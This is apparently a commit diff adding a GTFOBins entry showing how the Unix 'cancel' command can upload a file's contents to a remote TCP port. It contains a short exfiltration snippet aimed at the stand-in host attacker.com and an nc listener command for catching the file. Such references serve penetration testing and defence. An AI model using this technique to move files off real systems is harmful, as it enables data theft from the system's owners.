Create cancel.md (#43)

* Add cancel.md

_gtfobins/cancel.md

@@ -0,0 +1,10 @@
+---
+functions:
+  file-upload:
+    - description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_send
+        cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT
+---